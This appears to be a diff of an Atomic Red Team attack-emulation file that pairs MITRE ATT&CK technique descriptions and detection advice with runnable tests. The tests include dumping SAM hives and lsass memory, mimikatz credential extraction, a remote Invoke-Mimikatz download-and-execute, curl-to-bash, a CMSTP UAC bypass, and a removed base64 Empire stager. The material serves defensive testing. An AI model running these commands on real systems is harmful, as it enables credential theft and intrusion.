HKLM\\sam + sam\n* reg save HKLM\\system system\n\nCreddump7 can then + be used to process the SAM database locally to retrieve hashes. (Citation: + GitHub Creddump7)\n\nNotes:\nRid 500 account is the local, in-built administrator.\nRid + 501 is the guest account.\nUser accounts start with a RID of 1,000+.\n\n#### + Cached Credentials\n\nThe DCC2 (Domain Cached Credentials version 2) hash, + used by Windows Vista and newer caches credentials when the domain controller + is unavailable. The number of default cached credentials varies, and this + number can be altered per system. This hash does not allow pass-the-hash style + attacks.\n \nA number of tools can be used to retrieve the SAM file through + in-memory techniques.\n\n* pwdumpx.exe \n* [gsecdump](https://attack.mitre.org/software/S0008)\n* + [Mimikatz](https://attack.mitre.org/software/S0002)\n\nAlternatively, reg.exe + can be used to extract from the Registry and Creddump7 used to gather the + credentials.\n\nNotes:\nCached credentials for Windows Vista are derived using + PBKDF2.\n\n#### Local Security Authority (LSA) Secrets\n\nWith SYSTEM access + to a host, the LSA secrets often allows trivial access from a local account + to domain-based account credentials. The Registry is used to store the LSA + secrets.\n \nWhen services are run under the context of local or domain users, + their passwords are stored in the Registry. If auto-logon is enabled, this + information will be stored in the Registry as well.\n \nA number of tools + can be used to retrieve the SAM file through in-memory techniques.\n\n* pwdumpx.exe + \n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* + secretsdump.py\n\nAlternatively, reg.exe can be used to extract from the Registry + and Creddump7 used to gather the credentials.\n\nNotes:\nThe passwords extracted + by his mechanism are UTF-16 encoded, which means that they are returned in plaintext.\nWindows + 10 adds protections for LSA Secrets described in Mitigation.\n\n#### NTDS + from Domain Controller\n\nActive Directory stores information about members + of the domain including devices and users to verify credentials and define + access rights. The Active Directory domain database is stored in the NTDS.dit + file. By default the NTDS file will be located in %SystemRoot%\\NTDS\\Ntds.dit + of a domain controller. (Citation: Wikipedia Active Directory)\n \nThe following + tools and techniques can be used to enumerate the NTDS file and the contents + of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* + Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n\n#### + Group Policy Preference (GPP) Files\n\nGroup Policy Preferences (GPP) are + tools that allowed administrators to create domain policies with embedded + credentials. These policies, amongst other things, allow administrators to + set local accounts.\n\nThese group policies are stored in SYSVOL on a domain + controller, this means that any domain user can view the SYSVOL share and + decrypt the password (the AES private key was leaked on-line. (Citation: Microsoft + GPP Key) (Citation: SRD GPP)\n\nThe following tools and scripts can be used + to gather and decrypt the password file from Group Policy Preference XML files:\n\n* + Metasploit’s post exploitation module: \"post/windows/gather/credentials/gpp\"\n* + Get-GPPPassword (Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nNotes:\nOn + the SYSVOL share, the following can be used to enumerate potential XML files.\ndir + /s * .xml\n\n#### Service Principal Names (SPNs)\n\nSee [Kerberoasting](https://attack.mitre.org/techniques/T1208).\n\n#### + Plaintext Credentials\n\nAfter a user logs on to a system, a variety of credentials + are generated and stored in the Local Security Authority Subsystem Service (LSASS) + process in memory. These credentials can be harvested by a administrative + user or SYSTEM.\n\nSSPI (Security Support Provider Interface) functions as + a common interface to several Security Support Providers (SSPs): A Security + Support Provider is a dynamic-link library (DLL) that makes one or more security + packages available to applications.\n\nThe following SSPs can be used to access + credentials:\n\nMsv: Interactive logons, batch logons, and service logons + are done through the MSV authentication package.\nWdigest: The Digest Authentication + protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple + Authentication Security Layer (SASL) exchanges. (Citation: TechNet Blogs Credential + Protection)\nKerberos: Preferred for mutual client-server domain authentication + in Windows 2000 and later.\nCredSSP:  Provides SSO and Network Level Authentication for Remote + Desktop Services. (Citation: Microsoft CredSSP)\n \nThe following tools can + be used to enumerate credentials:\n\n* [Windows Credential Editor](https://attack.mitre.org/software/S0005)\n* + [Mimikatz](https://attack.mitre.org/software/S0002)\n\nAs well as in-memory + techniques, the LSASS process memory can be dumped from the target host and + analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n* + procdump -ma lsass.exe lsass_dump\n\nLocally, mimikatz can be + run:\n\n* sekurlsa::Minidump lsassdump.dmp\n* sekurlsa::logonPasswords\n\n#### + DCSync\n\nDCSync is a variation on credential dumping which can be used to + acquire sensitive information from a domain controller. Rather than executing + recognizable malicious code, the action works by abusing the domain controller's + \ application programming interface (API) (Citation: Microsoft DRSR Dec 2017) + (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine + API samlib.dll) to simulate the replication process from a remote domain controller. + Any members of the Administrators, Domain Admins, Enterprise Admin groups + or computer accounts on the domain controller are able to run DCSync to pull + password data (Citation: ADSecurity Mimikatz DCSync) from Active Directory, + which may include current and historical hashes of potentially useful accounts + such as KRBTGT and Administrators. The hashes can then in turn be used to + create a Golden Ticket for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1097) + (Citation: Harmj0y Mimikatz and DCSync) or change an account's password as + noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098). + (Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been + included in the \"lsadump\" module in Mimikatz. (Citation: GitHub Mimikatz + lsadump Module) Lsadump also includes NetSync, which performs DCSync over + a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017)\n\n### + Linux\n\n#### Proc filesystem\n\nThe /proc filesystem on Linux contains a + great deal of information regarding the state of the running operating system. + Processes running with root privileges can use this facility to scrape live + memory of other running programs. If any of these programs store passwords + in clear text or password hashes in memory, these values can then be harvested + for either usage or brute force attacks, respectively. This functionality + has been implemented in the [MimiPenguin](https://attack.mitre.org/software/S0179), + an open source tool inspired by [Mimikatz](https://attack.mitre.org/software/S0002). + The tool dumps process memory, then harvests passwords and hashes by looking + for text strings and regex patterns for how given applications such as Gnome + Keyring, sshd, and Apache use memory to store such authentication artifacts." + id: attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22 + x_mitre_platforms: + - Windows + - Linux + - macOS object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_data_sources: - - API monitoring - - System calls - - Process monitoring - - Process command-line parameters - modified: '2019-02-11T15:34:01.392Z' - x_mitre_detection: Monitor for execution of AppleScript through osascript that - may be related to other suspicious behavior occurring on the system. + x_mitre_version: '1.1' + type: attack-pattern + x_mitre_detection: "### Windows\nMonitor for unexpected processes interacting + with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from + Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) + access the LSA Subsystem Service (LSASS) process by opening the process, locating + the LSA secrets key, and decrypting the sections in memory where credential + details are stored. Credential dumpers may also use methods for reflective + [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential + indicators of malicious activity.\n\nHash dumpers open the Security Accounts + Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) + or create a dump of the Registry SAM key to access stored account password + hashes. Some hash dumpers will open the local file system as a device and + parse to the SAM table to avoid file access defenses. Others will make an + in-memory copy of the SAM table before reading hashes. Detection of compromised + [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries + may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows + Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor + processes and command-line arguments for program execution that may be indicative + of credential dumping. Remote access tools may contain built-in features or + incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). + [PowerShell](https://attack.mitre.org/techniques/T1086) scripts also exist + that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz + module, (Citation: Powersploit) which may require additional logging features + to be configured in the operating system to collect necessary information + for analysis.\n\nMonitor domain controller logs for replication requests and + other unscheduled activity possibly associated with DCSync. (Citation: Microsoft + DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) + Note: Domain controllers may not log replication requests originating from + the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). + Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: + Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft + SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity + DCSync Sept 2015)\n\n### Linux\nTo obtain the passwords and hashes stored + in memory, processes must open a maps file in the /proc filesystem for the + process being analyzed. This file is stored under the path /proc//maps, + where the directory is the unique pid of the program being + interrogated for such authentication data. The AuditD monitoring tool, which + ships stock in many Linux distributions, can be used to watch for hostile + processes opening this file in the proc file system, alerting on the pid, + process name, and arguments of such programs." created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS + x_mitre_contributors: + - Vincent Le Toux + - Ed Williams, Trustwave, SpiderLabs + created: '2017-05-31T21:30:19.735Z' kill_chain_phases: - - phase_name: execution - kill_chain_name: mitre-attack - - phase_name: lateral-movement - kill_chain_name: mitre-attack - id: attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b - name: AppleScript - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - x_mitre_remote_support: true - type: attack-pattern - description: "macOS and OS X applications send AppleEvent messages to each other - for interprocess communications (IPC). These messages can be easily scripted - with AppleScript for local or remote IPC. Osascript executes AppleScript and - any other Open Scripting Architecture (OSA) language scripts. A list of OSA - languages installed on a system can be found by using the osalang - program.\nAppleEvent messages can be sent independently or as part of a script. - These events can locate open windows, send keystrokes, and interact with almost - any open application locally or remotely. \n\nAdversaries can use this to - interact with open SSH connection, move to remote machines, and even present - users with fake dialog boxes. These events cannot start applications remotely - (they can start them locally though), but can interact with applications if - they're already running remotely. Since this is a scripting language, it can - be used to launch more common techniques as well such as a reverse shell via - python (Citation: Macro Malware Targets Macs). Scripts can be run from the - command-line via osascript /path/to/script or osascript - -e \"script here\"." - x_mitre_permissions_required: - - User - identifier: T1155 - atomic_tests: - - name: AppleScript - description: | - Shell Script with AppleScript - - reference - - https://github.com/EmpireProject/Empire - supported_platforms: - - macos - executor: - name: sh - command: 'osascript "do shell script "echo \"import sys,base64,warnings;warnings.filterwarnings(''ignore'');exec(base64.b64decode(''aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm91dCA9IHBzLnN0ZG91dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3NlKCkKaWYgcmUuc2VhcmNoKCJMaXR0bGUgU25pdGNoIiwgb3V0KToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMjcuMC4wLjE6ODAnO3Q9Jy9sb2dpbi9wcm9jZXNzLnBocCc7cmVxPXVybGxpYjIuUmVxdWVzdChzZXJ2ZXIrdCk7CnJlcS5hZGRfaGVhZGVyKCdVc2VyLUFnZW50JyxVQSk7CnJlcS5hZGRfaGVhZGVyKCdDb29raWUnLCJzZXNzaW9uPXQzVmhWT3MvRHlDY0RURnpJS2FuUnhrdmszST0iKTsKcHJveHkgPSB1cmxsaWIyLlByb3h5SGFuZGxlcigpOwpvID0gdXJsbGliMi5idWlsZF9vcGVuZXIocHJveHkpOwp1cmxsaWIyLmluc3RhbGxfb3BlbmVyKG8pOwphPXVybGxpYjIudXJsb3BlbihyZXEpLnJlYWQoKTsKSVY9YVswOjRdO2RhdGE9YVs0Ol07a2V5PUlWKyc4Yzk0OThmYjg1YmQ1MTE5ZGQ5ODQ4MTJlZTVlOTg5OSc7UyxqLG91dD1yYW5nZSgyNTYpLDAsW10KZm9yIGkgaW4gcmFuZ2UoMjU2KToKICAgIGo9KGorU1tpXStvcmQoa2V5W2klbGVuKGtleSldKSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCmk9aj0wCmZvciBjaGFyIGluIGRhdGE6CiAgICBpPShpKzEpJTI1NgogICAgaj0oaitTW2ldKSUyNTYKICAgIFNbaV0sU1tqXT1TW2pdLFNbaV0KICAgIG91dC5hcHBlbmQoY2hyKG9yZChjaGFyKV5TWyhTW2ldK1Nbal0pJTI1Nl0pKQpleGVjKCcnLmpvaW4ob3V0KSkK''));\" - | python &"" - -' - T1191: - technique: + - kill_chain_name: mitre-attack + phase_name: credential-access external_references: - - url: https://attack.mitre.org/techniques/T1191 + - external_id: T1003 source_name: mitre-attack - external_id: T1191 - - url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10) - source_name: Microsoft Connection Manager Oct 2009 - description: Microsoft. (2009, October 8). How Connection Manager Works. Retrieved - April 11, 2018. - - url: https://twitter.com/ItsReallyNick/status/958789644165894146 - source_name: Twitter CMSTP Usage Jan 2018 - description: Carr, N. (2018, January 31). Here is some early bad cmstp.exe... - Retrieved April 11, 2018. - - url: https://msitpros.com/?p=3960 - source_name: MSitPros CMSTP Aug 2017 - description: Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April + url: https://attack.mitre.org/techniques/T1003 + - source_name: GitHub Creddump7 + description: Flathers, R. (2018, February 19). creddump7. Retrieved April 11, 2018. - - url: https://twitter.com/NickTyrer/status/958450014111633408 - source_name: Twitter CMSTP Jan 2018 - description: Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution - applocker bypass. Retrieved April 11, 2018. - - url: https://github.com/api0cradle/UltimateAppLockerByPassList - source_name: GitHub Ultimate AppLocker Bypass List - description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved - April 10, 2018. - - url: http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/ - source_name: Endurant CMSTP July 2018 - description: Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code - Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank - - Nik Seetharaman, Palantir - x_mitre_data_sources: - - Process monitoring - - Process command-line parameters - - Process use of network - - Windows event logs - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: |- - Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. - - Sysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018) - - * To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external. - * To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F). - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: execution - kill_chain_name: mitre-attack - x_mitre_defense_bypassed: - - Application whitelisting - - Anti-virus - id: attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3 - name: CMSTP - created: '2018-04-18T17:59:24.739Z' - x_mitre_version: '1.0' - x_mitre_remote_support: false - type: attack-pattern - description: |- - The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections. - - Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application. - - CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) - x_mitre_permissions_required: - - User - identifier: T1191 + url: https://github.com/Neohapsis/creddump7 + - description: Wikipedia. (2018, March 10). Active Directory. Retrieved April + 11, 2018. + source_name: Wikipedia Active Directory + url: https://en.wikipedia.org/wiki/Active_Directory + - source_name: Microsoft GPP Key + description: Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April + 11, 2018. + url: https://msdn.microsoft.com/library/cc422924.aspx + - source_name: SRD GPP + description: 'Security Research and Defense. (2014, May 13). MS14-025: An + Update for Group Policy Preferences. Retrieved January 28, 2015.' + url: http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx + - source_name: Obscuresecurity Get-GPPPassword + description: Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell. + Retrieved April 11, 2018. + url: https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html + - source_name: TechNet Blogs Credential Protection + description: Wilson, B. (2016, April 18). The Importance of KB2871997 and + KB2928120 for Credential Protection. Retrieved April 11, 2018. + url: https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/ + - description: Microsoft. (2008, July 25). Credential Security Service Provider + and SSO for Terminal Services Logon. Retrieved April 11, 2018. + source_name: Microsoft CredSSP + url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-vista/cc749211(v=ws.10) + - source_name: Microsoft DRSR Dec 2017 + description: Microsoft. (2017, December 1). MS-DRSR Directory Replication + Service (DRS) Remote Protocol. Retrieved December 4, 2017. + url: https://msdn.microsoft.com/library/cc228086.aspx + - description: Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December + 4, 2017. + source_name: Microsoft GetNCCChanges + url: https://msdn.microsoft.com/library/dd207691.aspx + - description: SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017. + source_name: Samba DRSUAPI + url: https://wiki.samba.org/index.php/DRSUAPI + - description: Wine API. (n.d.). samlib.dll. Retrieved December 4, 2017. + source_name: Wine API samlib.dll + url: https://source.winehq.org/WineAPI/samlib.html + - source_name: ADSecurity Mimikatz DCSync + description: Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, + and Detection. Retrieved August 7, 2017. + url: https://adsecurity.org/?p=1729 + - source_name: Harmj0y Mimikatz and DCSync + description: Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, + Oh My. Retrieved August 7, 2017. + url: http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/ + - source_name: InsiderThreat ChangeNTLM July 2017 + description: Warren, J. (2017, July 11). Manipulating User Passwords with + Mimikatz. Retrieved December 4, 2017. + url: https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM + - description: Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved + August 7, 2017. + source_name: GitHub Mimikatz lsadump Module + url: https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump + - source_name: Microsoft NRPC Dec 2017 + description: Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. + Retrieved December 6, 2017. + url: https://msdn.microsoft.com/library/cc237008.aspx + - description: Frecn, D.. (2018, October 2). Detecting Attempts to Steal Passwords + from Memory. Retrieved October 11, 2019. + source_name: Medium Detecting Attempts to Steal Passwords from Memory + url: https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea + - source_name: Powersploit + description: PowerSploit. (n.d.). Retrieved December 4, 2014. + url: https://github.com/mattifestation/PowerSploit + - source_name: Harmj0y DCSync Sept 2015 + description: Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, + Oh My. Retrieved December 4, 2017. + url: http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/ + - source_name: Microsoft SAMR + description: Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote + Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017. + url: https://msdn.microsoft.com/library/cc245496.aspx + - source_name: AdSecurity DCSync Sept 2015 + description: Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, + and Detection. Retrieved December 4, 2017. + url: https://adsecurity.org/?p=1729 + modified: '2019-10-11T12:49:33.530Z' + identifier: T1003 atomic_tests: - - name: CMSTP Executing Remote Scriptlet - description: 'Adversaries may supply CMSTP.exe with INF files infected with - malicious commands + - name: Powershell Mimikatz + description: 'Dumps Credentials via Powershell by invoking a remote mimikatz + script + +' + supported_platforms: + - windows + input_arguments: + remote_script: + description: URL to a remote Mimikatz script that dumps credentials + type: Url + default: https://raw.githubusercontent.com/EmpireProject/Empire/dev/data/module_source/credentials/Invoke-Mimikatz.ps1 + executor: + name: powershell + elevation_required: true + command: 'IEX (New-Object Net.WebClient).DownloadString(''#{remote_script}''); + Invoke-Mimikatz -DumpCreds + +' + - name: Gsecdump + description: 'https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump_v2.0b5 ' supported_platforms: - windows - input_arguments: - inf_file_path: - description: Path to the INF file - type: path - default: T1191.inf executor: name: command_prompt - elevation_required: false - command: 'cmstp.exe /s #{inf_file_path} + elevation_required: true + command: 'gsecdump -a ' - - name: CMSTP Executing UAC Bypass - description: 'Adversaries may invoke cmd.exe (or other malicious commands) by - embedding them in the RunPreSetupCommandsSection of an INF file + - name: Windows Credential Editor + description: 'http://www.ampliasecurity.com/research/windows-credentials-editor/ ' supported_platforms: - windows input_arguments: - inf_file_uac: - description: Path to the INF file - type: path - default: T1191_uacbypass.inf + output_file: + description: Path where resulting data should be placed + type: Path + default: output.txt executor: name: command_prompt - elevation_required: false - command: 'cmstp.exe /s #{inf_file_uac} /au + elevation_required: true + command: 'wce -o #{output_file} ' - T1059: - technique: - external_references: - - url: https://attack.mitre.org/techniques/T1059 - source_name: mitre-attack - external_id: T1059 - - url: https://en.wikipedia.org/wiki/Command-line_interface - source_name: Wikipedia Command-Line Interface - description: Wikipedia. (2016, June 26). Command-line interface. Retrieved - June 27, 2016. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_data_sources: - - Process monitoring - - Process command-line parameters - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: Command-line interface activities can be captured through - proper logging of process execution with command-line arguments. This information - can be useful in gaining additional insight to adversaries' actions through - how they use native processes or custom tools. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows - kill_chain_phases: - - phase_name: execution - kill_chain_name: mitre-attack - id: attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830 - name: Command-Line Interface - created: '2017-05-31T21:30:49.546Z' - x_mitre_version: '1.0' - x_mitre_remote_support: false - type: attack-pattern - description: |- - Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. (Citation: Wikipedia Command-Line Interface) One example command-line interface on Windows systems is [cmd](https://attack.mitre.org/software/S0106), which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. [Scheduled Task](https://attack.mitre.org/techniques/T1053)). + - name: Registry dump of SAM, creds, and secrets + description: | + Local SAM (SAM & System), cached credentials (System & Security) and LSA secrets (System & Security) can be enumerated + via three registry keys. Then processed locally using https://github.com/Neohapsis/creddump7 + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: true + command: | + reg save HKLM\sam sam + reg save HKLM\system system + reg save HKLM\security security + cleanup_command: | + rm sam + rm system + rm security + - name: Dump LSASS.exe Memory using ProcDump + description: | + The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals + ProcDump. The tool may be downloaded from https://docs.microsoft.com/en-us/sysinternals/downloads/procdump. + supported_platforms: + - windows + input_arguments: + output_file: + description: Path where resulting dump should be placed + type: Path + default: lsass_dump.dmp + executor: + elevation_required: true + name: command_prompt + command: 'procdump.exe -accepteula -ma lsass.exe #{output_file} - Adversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation. - x_mitre_permissions_required: - - User - - Administrator - - SYSTEM - identifier: T1059 - atomic_tests: - - name: Command-Line Interface +' + - name: Dump LSASS.exe Memory using Windows Task Manager description: | - Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. + The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task + Manager and administrative permissions. + supported_platforms: + - windows + executor: + name: manual + steps: | + 1. Open Task Manager: + On a Windows system this can be accomplished by pressing CTRL-ALT-DEL and selecting Task Manager or by right-clicking + on the task bar and selecting "Task Manager". - This will download the specified payload and set a marker file in `/tmp/art-fish.txt`. + 2. Select lsass.exe: + If lsass.exe is not visible, select "Show processes from all users". This will allow you to observe execution of lsass.exe + and select it for manipulation. + + 3. Dump lsass.exe memory: + Right-click on lsass.exe in Task Manager. Select "Create Dump File". The following dialog will show you the path to the saved file. + - name: Offline Credential Theft With Mimikatz + description: | + The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with + Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz. supported_platforms: - - macos - - centos - - ubuntu - - linux + - windows + input_arguments: + input_file: + description: Path where resulting dump should be placed + type: Path + default: lsass_dump.dmp executor: - name: sh - command: | - bash -c "curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059/echo-art-fish.sh | bash" - bash -c "wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Atomics/T1059/echo-art-fish.sh | bash" - T1223: - technique: - external_references: - - url: https://attack.mitre.org/techniques/T1223 - source_name: mitre-attack - external_id: T1223 - - url: https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk - source_name: Microsoft HTML Help May 2018 - description: Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved - October 3, 2018. - - url: https://msdn.microsoft.com/windows/desktop/ms644670 - source_name: Microsoft HTML Help ActiveX - description: Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved - October 3, 2018. - - url: https://msdn.microsoft.com/windows/desktop/ms524405 - source_name: Microsoft HTML Help Executable Program - description: Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved - October 3, 2018. - - url: https://msitpros.com/?p=3909 - source_name: MsitPros CHM Aug 2017 - description: Moe, O. (2017, August 13). Bypassing Device guard UMCI using - CHM – CVE-2017-8625. Retrieved October 3, 2018. - - url: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625 - source_name: Microsoft CVE-2017-8625 Aug 2017 - description: Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer - Security Feature Bypass Vulnerability. Retrieved October 3, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International - x_mitre_data_sources: - - File monitoring - - Process monitoring - - Process command-line parameters - modified: '2019-01-31T01:21:44.559Z' - x_mitre_detection: |- - Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques. + name: manual + steps: | + 1. Open Mimikatz: + Execute `mimikatz` at a command prompt. - Monitor presence and use of CHM files, especially if they are not typically used within an environment. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: execution - kill_chain_name: mitre-attack - x_mitre_defense_bypassed: - - Application whitelisting - - Digital Certificate Validation - id: attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a - name: Compiled HTML File - created: '2018-10-17T00:14:20.652Z' - x_mitre_version: '1.1' - x_mitre_remote_support: false - type: attack-pattern - description: |- - Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program) + 2. Select a Memory Dump: + Within the Mimikatz interactive shell, execute `sekurlsa::minidump #{input_file}` - 